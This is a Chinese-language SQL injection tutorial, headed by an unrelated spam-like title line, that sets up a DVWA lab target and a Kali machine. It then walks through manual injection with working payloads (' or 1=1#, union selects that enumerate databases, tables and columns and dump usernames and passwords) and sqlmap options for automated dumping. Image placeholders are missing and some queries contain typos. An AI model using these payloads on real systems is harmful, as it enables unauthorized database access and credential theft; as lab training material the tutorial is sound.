wordpress vr杭州优化外包哪里好
1. 安全渗透
1.1 分类
- web数据库安全
 - web应用服务器安全(文件上传漏洞、文件包含漏洞)
 - web客户端安全(XSS跨站攻击)
 
2. sql注入
2.1 sql注入介绍
- sql注入在安全问题中排行榜首
 - sql注入攻击是输入参数未经过滤,然后直接拼接到sql语句当中解析
 - sql注入是一种将sql代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法
 
2.2 sql注入原理
- 攻击者在页面提交恶意字符
 - 服务器未对提交参数进行过滤或者过滤不足
 - 攻击者利用拼接sql语句方式获取数据库敏感信息
 
2.3 sql注入危害
- 数据库泄漏
 - 用户数据被非法买卖
 - 危害web应用安全
 
2.4 sql注入实现方式
- 手动 
- 查找:注入点
 - 输入:sql常用注入组合语法,进行注入
 
 - 自动(工具) 
- 工具:扫描注入点
 - 输入:自动尝试各种组合语法
 
 
3.环境搭建
3.1 vmware虚拟机
3.1.1 作用
- 虚拟机软件,可以使用软件在物理机上安装多个虚拟操作系统(Linux、windows)
 - 靶机与渗透剂运行以来VMware软件
VMware下载教程 
3.2 靶机(学习使用项目环境)
作用
- 一个Linux虚拟机系统,在这个虚拟机中安装了一些已知漏洞的web应用程序,方便学习
 - OWASP靶机安装教程
 
3.3 渗透机(学习攻击sql注入环境)
作用:
- Kali包含数百种工具,可用于各种信息安全任务,例如渗透测试,安全研究
 
4. 手动注入
4.1 环境准备
说明:通过靶机web应用程序,练习手动注入
 步骤:
-  
启动靶机OWASP

 -  
通过浏览器访问靶机
 -  
访问OWASP-dvwa项目

 -  
登陆

 -  
选择sql注入应用程序

 
4.2 查找注入点
说明:主要采用单引号,转义字符\,以单引号为主
 原理:
#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
 


4.3 逻辑或

4.4 猜测列数
- 通过union
 
' union select 1,2 #
 

 2. 通过逻辑或
'or 1=1#
 

4.5 获取数据库、表、列
获取数据库名
' union select 1,database()#
 

 获取表
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
 

获取列
' union select column_name,1 from information_schema.columns where table_name='users' #
 

4.6 获取数据
//1. 获取单个字段数据
' union select user,1 from users#//2. 获取两个字段
' union select user,password from users#
 

4.7 concat函数
作用:拼接多个字符串为一个字符串
 语法:concat(str1,str2,…)
 示例:
- 获取users表中user_id,user,password,分为两列显示
 
select user_id,concat (user,password) from dvwa,users;
 

- 解决user和password拼接在一起的问题
 
select user_id,concat('user:',user,' password:',password) from dvwa.users;
 

- 获取多个字段
 
' union select user,concat(first_name,' ',last_name,' ',password) from users#
 

5. 自动注入
5.1 自动注入介绍
说明:自动注入是指利用工具代替人工去完成sql注入操作
 工具:sqlmap
5.2 自动注入环境
- 启动靶机
 - 启动渗透机
 
5.3 sqlmap
工具:sqlmap
- 一个开源渗透测试工具
 - 自动检测和利用sql注入漏洞并接管数据库服务器

 
5.3.1 sqlmap基本用法
参数
- -u:扫描的目标url
 - –batch:自动处理提示信息
 - –cookie:附加cookie参数
 
步骤
- 扫描注入点
 - 获取数据库名
 - 获取表名
 - 获取字段名
 - 获取数据
 
由于需要登陆,我们首先获取已登录页面的cookie
 
 然后开始扫描注入点
 
 成功注入
 
5.3.2 sqlmap获取库名
– current-db:查询当前web使用的数据库名
 -D:应用指定数据库
 
 运行结果:
 
5.3.3 sqlmap获取表
– current-db:查询指定库下所有表名(需要先使用-D指定库名)
 -T:指定表
 
运行结果:
 
5.3.4 sqlmap获取列
– columns:查询指定表下所有字段(需要先使用-T指定表名)
 -C:指定字段名

 运行结果:
 
5.3.5 sqlmap获取数据
–dump:下载数据

 运行结果:
 
